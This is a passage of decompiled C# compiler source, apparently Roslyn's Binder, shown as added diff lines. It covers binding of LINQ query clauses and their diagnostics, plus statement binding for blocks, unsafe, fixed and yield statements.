= ((SyntaxToken)(ref identifier2)).SpanStart; + TextSpan span = ((SyntaxNode)let.Expression).Span; + int end = ((TextSpan)(ref span)).End; + identifier2 = let.Identifier; + SourceLocation location = new SourceLocation(syntaxTree, new TextSpan(spanStart, end - ((SyntaxToken)(ref identifier2)).SpanStart)); + if (!boundExpression.HasAnyErrors && !boundExpression.HasExpressionType()) + { + Error(d, ErrorCode.ERR_QueryRangeVariableAssignedBadValue, (Location)(object)location, boundExpression.Display); + boundExpression = new BoundBadExpression(boundExpression.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create(boundExpression), CreateErrorType()); + } + else if (!boundExpression.HasAnyErrors && boundExpression.Type.IsVoidType()) + { + Error(d, ErrorCode.ERR_QueryRangeVariableAssignedBadValue, (Location)(object)location, boundExpression.Type); + boundExpression = new BoundBadExpression(boundExpression.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create(boundExpression), boundExpression.Type); + } + Binder binder = this; + LetClauseSyntax node = let; + string name = x.Name; + identifier2 = let.Identifier; + BoundExpression result = binder.MakePair(node, name, field1Value, ((SyntaxToken)(ref identifier2)).ValueText, boundExpression, state, d); + return lambdaBodyBinder.CreateLambdaBlockForQueryClause(let.Expression, result, d); + }; + UnboundLambda arg = MakeQueryUnboundLambda(state.RangeVariableMap(), ImmutableArray.Create(x), let.Expression, bodyFactory, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + state.rangeVariable = state.TransparentRangeVariable(this); + state.AddTransparentIdentifier(x.Name); + RangeVariableSymbol rangeVariableSymbol = state.AddRangeVariable(this, let.Identifier, diagnostics); + ArrayBuilder obj = state.allRangeVariables[rangeVariableSymbol]; + SyntaxToken identifier = let.Identifier; + obj.Add(((SyntaxToken)(ref identifier)).ValueText); + BoundCall boundCall = MakeQueryInvocation(let, state.fromExpression, "Select", arg, diagnostics); + state.fromExpression = MakeQueryClause(let, boundCall, rangeVariableSymbol, boundCall); + } + + private BoundBlock CreateLambdaBlockForQueryClause(ExpressionSyntax expression, BoundExpression result, BindingDiagnosticBag diagnostics) + { + ImmutableArray declaredLocalsForScope = GetDeclaredLocalsForScope((SyntaxNode)(object)expression); + if (declaredLocalsForScope.Any()) + { + CheckFeatureAvailability((SyntaxNode)(object)expression, MessageID.IDS_FeatureExpressionVariablesInQueriesAndInitializers, diagnostics, declaredLocalsForScope[0].GetFirstLocation()); + } + return CreateBlockFromExpression(expression, declaredLocalsForScope, (RefKind)0, result, expression, diagnostics); + } + + private BoundQueryClause MakeQueryClause(CSharpSyntaxNode syntax, BoundExpression expression, RangeVariableSymbol? definedSymbol = null, BoundExpression? queryInvocation = null, BoundExpression? castInvocation = null, BoundExpression? unoptimizedForm = null) + { + if (unoptimizedForm != null && unoptimizedForm.HasAnyErrors && !expression.HasAnyErrors) + { + unoptimizedForm = null; + } + return new BoundQueryClause((SyntaxNode)(object)syntax, expression, definedSymbol, queryInvocation, castInvocation, this, unoptimizedForm, TypeOrError(expression)); + } + + private BoundExpression MakePair(CSharpSyntaxNode node, string field1Name, BoundExpression field1Value, string field2Name, BoundExpression field2Value, QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + if (field1Name == field2Name) + { + field2Name = state.TransparentRangeVariableName(); + field2Value = new BoundBadExpression(field2Value.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create(field2Value), field2Value.Type, hasErrors: true); + } + AnonymousTypeDescriptor typeDescr = new AnonymousTypeDescriptor(ImmutableArray.Create(createField(field1Name, field1Value), createField(field2Name, field2Value)), ((SyntaxNode)node).Location); + NamedTypeSymbol toCreate = Compilation.AnonymousTypeManager.ConstructAnonymousTypeSymbol(typeDescr); + return MakeConstruction(node, toCreate, ImmutableArray.Create(field1Value, field2Value), diagnostics); + AnonymousTypeField createField(string fieldName, BoundExpression fieldValue) + { + return new AnonymousTypeField(fieldName, fieldValue.Syntax.Location, TypeWithAnnotations.Create(TypeOrError(fieldValue)), (RefKind)0, (ScopedKind)0); + } + } + + private TypeSymbol TypeOrError(BoundExpression e) + { + return e.Type ?? CreateErrorType(); + } + + private UnboundLambda MakeQueryUnboundLambda(RangeVariableMap qvm, RangeVariableSymbol parameter, ExpressionSyntax expression, bool withDependencies) + { + return MakeQueryUnboundLambda(qvm, ImmutableArray.Create(parameter), expression, withDependencies); + } + + private UnboundLambda MakeQueryUnboundLambda(RangeVariableMap qvm, ImmutableArray parameters, ExpressionSyntax expression, bool withDependencies) + { + return MakeQueryUnboundLambda(expression, new QueryUnboundLambdaState(this, qvm, parameters, delegate(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag diagnostics) + { + lambdaBodyBinder = lambdaBodyBinder.GetRequiredBinder((SyntaxNode)(object)expression); + BoundExpression result = lambdaBodyBinder.BindValue(expression, diagnostics, BindValueKind.RValue); + return lambdaBodyBinder.CreateLambdaBlockForQueryClause(expression, result, diagnostics); + }), withDependencies); + } + + private UnboundLambda MakeQueryUnboundLambdaWithCast(RangeVariableMap qvm, RangeVariableSymbol parameter, ExpressionSyntax expression, TypeSyntax castTypeSyntax, TypeWithAnnotations castType, bool withDependencies) + { + return MakeQueryUnboundLambda(expression, new QueryUnboundLambdaState(this, qvm, ImmutableArray.Create(parameter), delegate(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag diagnostics) + { + lambdaBodyBinder = lambdaBodyBinder.GetRequiredBinder((SyntaxNode)(object)expression); + BoundExpression receiver = lambdaBodyBinder.BindValue(expression, diagnostics, BindValueKind.RValue); + receiver = lambdaBodyBinder.MakeQueryInvocation(expression, receiver, "Cast", castTypeSyntax, castType, diagnostics); + return lambdaBodyBinder.CreateLambdaBlockForQueryClause(expression, receiver, diagnostics); + }), withDependencies); + } + + private UnboundLambda MakeQueryUnboundLambda(RangeVariableMap qvm, ImmutableArray parameters, CSharpSyntaxNode node, LambdaBodyFactory bodyFactory, bool withDependencies) + { + return MakeQueryUnboundLambda(node, new QueryUnboundLambdaState(this, qvm, parameters, bodyFactory), withDependencies); + } + + private static UnboundLambda MakeQueryUnboundLambda(CSharpSyntaxNode node, QueryUnboundLambdaState state, bool withDependencies) + { + UnboundLambda unboundLambda = new UnboundLambda((SyntaxNode)(object)node, state, null, withDependencies, hasErrors: false) + { + WasCompilerGenerated = true + }; + state.SetUnboundLambda(unboundLambda); + return unboundLambda; + } + + protected BoundCall MakeQueryInvocation(CSharpSyntaxNode node, BoundExpression receiver, string methodName, BoundExpression arg, BindingDiagnosticBag diagnostics) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return MakeQueryInvocation(node, receiver, methodName, default(SeparatedSyntaxList), default(ImmutableArray), ImmutableArray.Create(arg), diagnostics); + } + + protected BoundCall MakeQueryInvocation(CSharpSyntaxNode node, BoundExpression receiver, string methodName, ImmutableArray args, BindingDiagnosticBag diagnostics) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return MakeQueryInvocation(node, receiver, methodName, default(SeparatedSyntaxList), default(ImmutableArray), args, diagnostics); + } + + protected BoundCall MakeQueryInvocation(CSharpSyntaxNode node, BoundExpression receiver, string methodName, TypeSyntax typeArgSyntax, TypeWithAnnotations typeArg, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return MakeQueryInvocation(node, receiver, methodName, new SeparatedSyntaxList(new SyntaxNodeOrTokenList((SyntaxNode)(object)typeArgSyntax, 0)), ImmutableArray.Create(typeArg), ImmutableArray.Empty, diagnostics); + } + + protected BoundCall MakeQueryInvocation(CSharpSyntaxNode node, BoundExpression receiver, string methodName, SeparatedSyntaxList typeArgsSyntax, ImmutableArray typeArgs, ImmutableArray args, BindingDiagnosticBag diagnostics) + { + //IL_020a: Unknown result type (might be due to invalid IL or missing references) + //IL_0211: Invalid comparison between Unknown and I4 + //IL_02e9: Unknown result type (might be due to invalid IL or missing references) + //IL_0220: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = receiver; + while (boundExpression.Kind == BoundKind.QueryClause) + { + boundExpression = ((BoundQueryClause)boundExpression).Value; + } + if ((object)boundExpression.Type == null) + { + if (!boundExpression.HasAnyErrors && !((SyntaxNode)node).HasErrors) + { + if (boundExpression.IsLiteralNull()) + { + diagnostics.Add(ErrorCode.ERR_NullNotValid, ((SyntaxNode)node).Location); + } + else if (boundExpression.IsLiteralDefault()) + { + diagnostics.Add(ErrorCode.ERR_DefaultLiteralNotValid, ((SyntaxNode)node).Location); + } + else if (boundExpression.IsImplicitObjectCreation()) + { + diagnostics.Add(ErrorCode.ERR_ImplicitObjectCreationNotValid, ((SyntaxNode)node).Location); + } + else if (boundExpression.Kind == BoundKind.NamespaceExpression) + { + diagnostics.Add(ErrorCode.ERR_BadSKunknown, boundExpression.Syntax.Location, ((BoundNamespaceExpression)boundExpression).NamespaceSymbol, MessageID.IDS_SK_NAMESPACE.Localize()); + } + else if (boundExpression.Kind == BoundKind.Lambda || boundExpression.Kind == BoundKind.UnboundLambda) + { + diagnostics.Add(ErrorCode.ERR_QueryNoProvider, ((SyntaxNode)node).Location, MessageID.IDS_AnonMethod.Localize(), methodName); + } + else if (boundExpression.Kind == BoundKind.MethodGroup) + { + BoundMethodGroup node2 = (BoundMethodGroup)boundExpression; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + MethodGroupResolution methodGroupResolution = ResolveMethodGroup(node2, null, isMethodGroupConversion: false, ref useSiteInfo, inferWithDynamic: false, (RefKind)0, null, isFunctionPointerResolution: false, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(methodGroupResolution.Diagnostics, false); + if (methodGroupResolution.HasAnyErrors) + { + receiver = BindMemberAccessBadResult(node2); + } + else + { + diagnostics.Add(ErrorCode.ERR_QueryNoProvider, ((SyntaxNode)node).Location, MessageID.IDS_SK_METHOD.Localize(), methodName); + } + methodGroupResolution.Free(); + } + } + receiver = new BoundBadExpression(receiver.Syntax, LookupResultKind.NotAValue, ImmutableArray.Empty, ImmutableArray.Create(receiver), CreateErrorType()); + } + else if (boundExpression.Kind == BoundKind.TypeExpression) + { + if ((int)boundExpression.Type.TypeKind == 11) + { + Error(diagnostics, ErrorCode.ERR_BadSKunknown, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax), boundExpression.Type, MessageID.IDS_SK_TYVAR.Localize()); + } + } + else if (boundExpression.Kind != BoundKind.TypeOrValueExpression) + { + if (receiver.Type.IsVoidType()) + { + if (!receiver.HasAnyErrors && !((SyntaxNode)node).HasErrors) + { + diagnostics.Add(ErrorCode.ERR_QueryNoProvider, ((SyntaxNode)node).Location, "void", methodName); + } + receiver = new BoundBadExpression(receiver.Syntax, LookupResultKind.NotAValue, ImmutableArray.Empty, ImmutableArray.Create(receiver), CreateErrorType()); + } + else + { + BoundExpression boundExpression2 = CheckValue(boundExpression, BindValueKind.RValue, diagnostics); + if (boundExpression2 != boundExpression) + { + receiver = updateUltimateReceiver(receiver, boundExpression, boundExpression2); + } + } + } + return (BoundCall)MakeInvocationExpression((SyntaxNode)(object)node, receiver, methodName, args, diagnostics, typeArgsSyntax, typeArgs, default(ImmutableArray<(string, Location)?>), node, allowFieldsAndProperties: true); + static BoundExpression updateUltimateReceiver(BoundExpression boundExpression3, BoundExpression originalUltimateReceiver, BoundExpression replacementUltimateReceiver) + { + if (boundExpression3 is BoundQueryClause boundQueryClause) + { + return boundQueryClause.Update(updateUltimateReceiver(boundQueryClause.Value, originalUltimateReceiver, replacementUltimateReceiver), boundQueryClause.DefinedSymbol, boundQueryClause.Operation, boundQueryClause.Cast, boundQueryClause.Binder, boundQueryClause.UnoptimizedForm, boundQueryClause.Type); + } + return replacementUltimateReceiver; + } + } + + protected BoundExpression MakeConstruction(CSharpSyntaxNode node, NamedTypeSymbol toCreate, ImmutableArray args, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + instance.Arguments.AddRange(args); + BoundExpression boundExpression = BindClassCreationExpression((SyntaxNode)(object)node, toCreate.Name, (SyntaxNode)(object)node, toCreate, instance, diagnostics); + boundExpression.WasCompilerGenerated = true; + instance.Free(); + return boundExpression; + } + + internal void ReportQueryLookupFailed(SyntaxNode queryClause, BoundExpression instanceArgument, string name, ImmutableArray symbols, BindingDiagnosticBag diagnostics) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Expected O, but got Unknown + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Expected O, but got Unknown + FromClauseSyntax fromClauseSyntax = null; + SyntaxNode val = queryClause; + QueryExpressionSyntax queryExpressionSyntax; + while (true) + { + queryExpressionSyntax = val as QueryExpressionSyntax; + if (queryExpressionSyntax != null) + { + break; + } + val = val.Parent; + } + fromClauseSyntax = queryExpressionSyntax.FromClause; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (instanceArgument.Type.IsDynamic()) + { + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_BadDynamicQuery, Array.Empty(), symbols), (Location)new SourceLocation(queryClause)); + } + else if (ImplementsStandardQueryInterface(instanceArgument.Type, name, ref useSiteInfo)) + { + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_QueryNoProviderStandard, new object[2] { instanceArgument.Type, name }, symbols), (Location)new SourceLocation((SyntaxNode)(object)((fromClauseSyntax != null) ? fromClauseSyntax.Expression : ((ExpressionSyntax)(object)queryClause)))); + } + else if (fromClauseSyntax != null && fromClauseSyntax.Type == null && HasCastToQueryProvider(instanceArgument.Type, ref useSiteInfo)) + { + object[] obj = new object[3] { instanceArgument.Type, name, null }; + SyntaxToken identifier = fromClauseSyntax.Identifier; + obj[2] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_QueryNoProviderCastable, obj, symbols), (Location)new SourceLocation((SyntaxNode)(object)fromClauseSyntax.Expression)); + } + else + { + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_QueryNoProvider, new object[2] { instanceArgument.Type, name }, symbols), (Location)new SourceLocation((SyntaxNode)(object)((fromClauseSyntax != null) ? fromClauseSyntax.Expression : ((ExpressionSyntax)(object)queryClause)))); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(queryClause, useSiteInfo); + } + + private bool ImplementsStandardQueryInterface(TypeSymbol instanceType, string name, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)instanceType.TypeKind == 1 || (name == "Cast" && HasCastToQueryProvider(instanceType, ref useSiteInfo))) + { + return true; + } + bool nonUnique = false; + TypeSymbol originalDefinition = instanceType.OriginalDefinition; + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)25); + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType((WellKnownType)223); + bool flag = TypeSymbol.Equals(originalDefinition, specialType, (TypeCompareKind)0) || HasUniqueInterface(instanceType, specialType, ref nonUnique, ref useSiteInfo); + bool flag2 = TypeSymbol.Equals(originalDefinition, wellKnownType, (TypeCompareKind)0) || HasUniqueInterface(instanceType, wellKnownType, ref nonUnique, ref useSiteInfo); + if (flag != flag2) + { + return !nonUnique; + } + return false; + } + + private static bool HasUniqueInterface(TypeSymbol instanceType, NamedTypeSymbol interfaceType, ref CompoundUseSiteInfo useSiteInfo) + { + bool nonUnique = false; + return HasUniqueInterface(instanceType, interfaceType, ref nonUnique, ref useSiteInfo); + } + + private static bool HasUniqueInterface(TypeSymbol instanceType, NamedTypeSymbol interfaceType, ref bool nonUnique, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol typeSymbol = null; + ImmutableArray.Enumerator enumerator = instanceType.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (TypeSymbol.Equals(current.OriginalDefinition, interfaceType, (TypeCompareKind)0)) + { + if ((object)typeSymbol == null) + { + typeSymbol = current; + } + else if (!TypeSymbol.Equals(typeSymbol, current, (TypeCompareKind)0)) + { + nonUnique = true; + return false; + } + } + } + return (object)typeSymbol != null; + } + + private bool HasCastToQueryProvider(TypeSymbol instanceType, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol originalDefinition = instanceType.OriginalDefinition; + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)24); + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType((WellKnownType)222); + bool flag = TypeSymbol.Equals(originalDefinition, specialType, (TypeCompareKind)0) || HasUniqueInterface(instanceType, specialType, ref useSiteInfo); + bool flag2 = TypeSymbol.Equals(originalDefinition, wellKnownType, (TypeCompareKind)0) || HasUniqueInterface(instanceType, wellKnownType, ref useSiteInfo); + return flag != flag2; + } + + private static bool IsJoinRangeVariableInLeftKey(SimpleNameSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + for (CSharpSyntaxNode parent = node.Parent; parent != null; parent = parent.Parent) + { + if (parent.Kind() == SyntaxKind.JoinClause) + { + JoinClauseSyntax joinClauseSyntax = (JoinClauseSyntax)parent; + TextSpan span = ((SyntaxNode)joinClauseSyntax.LeftExpression).Span; + if (((TextSpan)(ref span)).Contains(((SyntaxNode)node).Span)) + { + SyntaxToken identifier = joinClauseSyntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + identifier = node.Identifier; + if (valueText == ((SyntaxToken)(ref identifier)).ValueText) + { + return true; + } + } + } + } + return false; + } + + private static bool IsInJoinRightKey(SimpleNameSyntax node) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + for (CSharpSyntaxNode parent = node.Parent; parent != null; parent = parent.Parent) + { + if (parent.Kind() == SyntaxKind.JoinClause) + { + TextSpan span = ((SyntaxNode)((JoinClauseSyntax)parent).RightExpression).Span; + if (((TextSpan)(ref span)).Contains(((SyntaxNode)node).Span)) + { + return true; + } + } + } + return false; + } + + internal static void ReportQueryInferenceFailed(CSharpSyntaxNode queryClause, string methodName, BoundExpression receiver, AnalyzedArguments arguments, ImmutableArray symbols, BindingDiagnosticBag diagnostics) + { + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + string text = null; + bool flag = false; + switch (queryClause.Kind()) + { + case SyntaxKind.JoinClause: + text = SyntaxFacts.GetText(SyntaxKind.JoinKeyword); + flag = true; + break; + case SyntaxKind.LetClause: + text = SyntaxFacts.GetText(SyntaxKind.LetKeyword); + break; + case SyntaxKind.SelectClause: + text = SyntaxFacts.GetText(SyntaxKind.SelectKeyword); + break; + case SyntaxKind.WhereClause: + text = SyntaxFacts.GetText(SyntaxKind.WhereKeyword); + break; + case SyntaxKind.OrderByClause: + case SyntaxKind.AscendingOrdering: + case SyntaxKind.DescendingOrdering: + text = SyntaxFacts.GetText(SyntaxKind.OrderByKeyword); + flag = true; + break; + case SyntaxKind.QueryContinuation: + text = SyntaxFacts.GetText(SyntaxKind.IntoKeyword); + break; + case SyntaxKind.GroupClause: + text = SyntaxFacts.GetText(SyntaxKind.GroupKeyword) + " " + SyntaxFacts.GetText(SyntaxKind.ByKeyword); + flag = true; + break; + case SyntaxKind.FromClause: + if (ReportQueryInferenceFailedSelectMany((FromClauseSyntax)queryClause, methodName, receiver, arguments, symbols, diagnostics)) + { + return; + } + text = SyntaxFacts.GetText(SyntaxKind.FromKeyword); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)queryClause.Kind()); + } + DiagnosticInfoWithSymbols info = new DiagnosticInfoWithSymbols(flag ? ErrorCode.ERR_QueryTypeInferenceFailedMulti : ErrorCode.ERR_QueryTypeInferenceFailed, new object[2] { text, methodName }, symbols); + SyntaxToken firstToken = queryClause.GetFirstToken(); + diagnostics.Add((DiagnosticInfo?)(object)info, ((SyntaxToken)(ref firstToken)).GetLocation()); + } + + private static bool ReportQueryInferenceFailedSelectMany(FromClauseSyntax fromClause, string methodName, BoundExpression receiver, AnalyzedArguments arguments, ImmutableArray symbols, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = arguments.Argument(arguments.IsExtensionMethodInvocation ? 1 : 0); + TypeSymbol typeSymbol = null; + if (boundExpression.Kind == BoundKind.UnboundLambda) + { + foreach (TypeSymbol item in ((UnboundLambda)boundExpression).Data.InferredReturnTypes()) + { + if (!item.IsErrorType()) + { + typeSymbol = item; + break; + } + } + } + if ((object)typeSymbol == null || typeSymbol.IsErrorType()) + { + return false; + } + TypeSymbol typeSymbol2 = receiver?.Type; + diagnostics.Add((DiagnosticInfo?)(object)new DiagnosticInfoWithSymbols(ErrorCode.ERR_QueryTypeInferenceFailedSelectMany, new object[3] { typeSymbol, typeSymbol2, methodName }, symbols), ((SyntaxNode)fromClause.Expression).Location); + return true; + } + + public virtual BoundStatement BindStatement(StatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (node.AttributeLists.Count > 0) + { + AttributeListSyntax syntax = node.AttributeLists[0]; + if (node.Kind() == SyntaxKind.LocalFunctionStatement) + { + CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_FeatureLocalFunctionAttributes, diagnostics); + } + else if (node.Kind() != SyntaxKind.Block) + { + Error(diagnostics, ErrorCode.ERR_AttributesNotAllowed, (CSharpSyntaxNode)syntax); + } + } + switch (node.Kind()) + { + case SyntaxKind.Block: + return BindBlock((BlockSyntax)node, diagnostics); + case SyntaxKind.LocalDeclarationStatement: + return BindLocalDeclarationStatement((LocalDeclarationStatementSyntax)node, diagnostics); + case SyntaxKind.LocalFunctionStatement: + return BindLocalFunctionStatement((LocalFunctionStatementSyntax)node, diagnostics); + case SyntaxKind.ExpressionStatement: + return BindExpressionStatement((ExpressionStatementSyntax)node, diagnostics); + case SyntaxKind.IfStatement: + return BindIfStatement((IfStatementSyntax)node, diagnostics); + case SyntaxKind.SwitchStatement: + return BindSwitchStatement((SwitchStatementSyntax)node, diagnostics); + case SyntaxKind.DoStatement: + return BindDo((DoStatementSyntax)node, diagnostics); + case SyntaxKind.WhileStatement: + return BindWhile((WhileStatementSyntax)node, diagnostics); + case SyntaxKind.ForStatement: + return BindFor((ForStatementSyntax)node, diagnostics); + case SyntaxKind.ForEachStatement: + case SyntaxKind.ForEachVariableStatement: + return BindForEach((CommonForEachStatementSyntax)node, diagnostics); + case SyntaxKind.BreakStatement: + return BindBreak((BreakStatementSyntax)node, diagnostics); + case SyntaxKind.ContinueStatement: + return BindContinue((ContinueStatementSyntax)node, diagnostics); + case SyntaxKind.ReturnStatement: + return BindReturn((ReturnStatementSyntax)node, diagnostics); + case SyntaxKind.FixedStatement: + return BindFixedStatement((FixedStatementSyntax)node, diagnostics); + case SyntaxKind.LabeledStatement: + return BindLabeled((LabeledStatementSyntax)node, diagnostics); + case SyntaxKind.GotoStatement: + case SyntaxKind.GotoCaseStatement: + case SyntaxKind.GotoDefaultStatement: + return BindGoto((GotoStatementSyntax)node, diagnostics); + case SyntaxKind.TryStatement: + return BindTryStatement((TryStatementSyntax)node, diagnostics); + case SyntaxKind.EmptyStatement: + return BindEmpty((EmptyStatementSyntax)node); + case SyntaxKind.ThrowStatement: + return BindThrow((ThrowStatementSyntax)node, diagnostics); + case SyntaxKind.UnsafeStatement: + return BindUnsafeStatement((UnsafeStatementSyntax)node, diagnostics); + case SyntaxKind.CheckedStatement: + case SyntaxKind.UncheckedStatement: + return BindCheckedStatement((CheckedStatementSyntax)node, diagnostics); + case SyntaxKind.UsingStatement: + return BindUsingStatement((UsingStatementSyntax)node, diagnostics); + case SyntaxKind.YieldBreakStatement: + return BindYieldBreakStatement((YieldStatementSyntax)node, diagnostics); + case SyntaxKind.YieldReturnStatement: + return BindYieldReturnStatement((YieldStatementSyntax)node, diagnostics); + case SyntaxKind.LockStatement: + return BindLockStatement((LockStatementSyntax)node, diagnostics); + default: + return new BoundBadStatement((SyntaxNode)(object)node, ImmutableArray.Empty, hasErrors: true); + } + } + + private BoundStatement BindCheckedStatement(CheckedStatementSyntax node, BindingDiagnosticBag diagnostics) + { + return BindEmbeddedBlock(node.Block, diagnostics); + } + + private BoundStatement BindUnsafeStatement(UnsafeStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + GetBinder((SyntaxNode)(object)node); + if (!Compilation.Options.AllowUnsafe) + { + Error(diagnostics, ErrorCode.ERR_IllegalUnsafe, node.UnsafeKeyword); + } + else if (IsIndirectlyInIterator) + { + Error(diagnostics, ErrorCode.ERR_IllegalInnerUnsafe, node.UnsafeKeyword); + } + return BindEmbeddedBlock(node.Block, diagnostics); + } + + private BoundStatement BindFixedStatement(FixedStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder? binder = GetBinder((SyntaxNode)(object)node); + binder.ReportUnsafeIfNotAllowed((SyntaxNode)(object)node, diagnostics); + return binder.BindFixedStatementParts(node, diagnostics); + } + + private BoundStatement BindFixedStatementParts(FixedStatementSyntax node, BindingDiagnosticBag diagnostics) + { + VariableDeclarationSyntax declaration = node.Declaration; + BindForOrUsingOrFixedDeclarations(declaration, LocalDeclarationKind.FixedVariable, diagnostics, out var declarations); + BoundMultipleLocalDeclarations declarations2 = new BoundMultipleLocalDeclarations((SyntaxNode)(object)declaration, declarations); + BoundStatement body = BindPossibleEmbeddedStatement(node.Statement, diagnostics); + return new BoundFixedStatement((SyntaxNode)(object)node, GetDeclaredLocalsForScope((SyntaxNode)(object)node), declarations2, body); + } + + private void CheckRequiredLangVersionForIteratorMethods(YieldStatementSyntax statement, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureIterators.CheckFeatureAvailability(diagnostics, statement.YieldKeyword); + MethodSymbol methodSymbol = (MethodSymbol)ContainingMemberOrLambda; + if (methodSymbol.IsAsync) + { + MessageID.IDS_FeatureAsyncStreams.CheckFeatureAvailability(diagnostics, (Compilation)(object)methodSymbol.DeclaringCompilation, methodSymbol.GetFirstLocation()); + } + } + + protected virtual void ValidateYield(YieldStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Next?.ValidateYield(node, diagnostics); + } + + private BoundStatement BindYieldReturnStatement(YieldStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + ValidateYield(node, diagnostics); + TypeSymbol type = GetIteratorElementType().Type; + BoundExpression boundExpression = ((node.Expression == null) ? BadExpression((SyntaxNode)(object)node).MakeCompilerGenerated() : BindValue(node.Expression, diagnostics, BindValueKind.RValue)); + boundExpression = (boundExpression.HasAnyErrors ? BindToTypeForErrorRecovery(boundExpression) : GenerateConversionForAssignment(type, boundExpression, diagnostics)); + if (Flags.Includes(BinderFlags.InFinallyBlock)) + { + Error(diagnostics, ErrorCode.ERR_BadYieldInFinally, node.YieldKeyword); + } + else if (Flags.Includes(BinderFlags.InTryBlockOfTryCatch)) + { + Error(diagnostics, ErrorCode.ERR_BadYieldInTryOfCatch, node.YieldKeyword); + } + else if (Flags.Includes(BinderFlags.InCatchBlock)) + { + Error(diagnostics, ErrorCode.ERR_BadYieldInCatch, node.YieldKeyword); + } + else if (BindingTopLevelScriptCode) + { + Error(diagnostics, ErrorCode.ERR_YieldNotAllowedInScript, node.YieldKeyword); + } + CheckRequiredLangVersionForIteratorMethods(node, diagnostics); + return new BoundYieldReturnStatement((SyntaxNode)(object)node, boundExpression); + } + + private BoundStatement BindYieldBreakStatement(YieldStatementSyntax node, 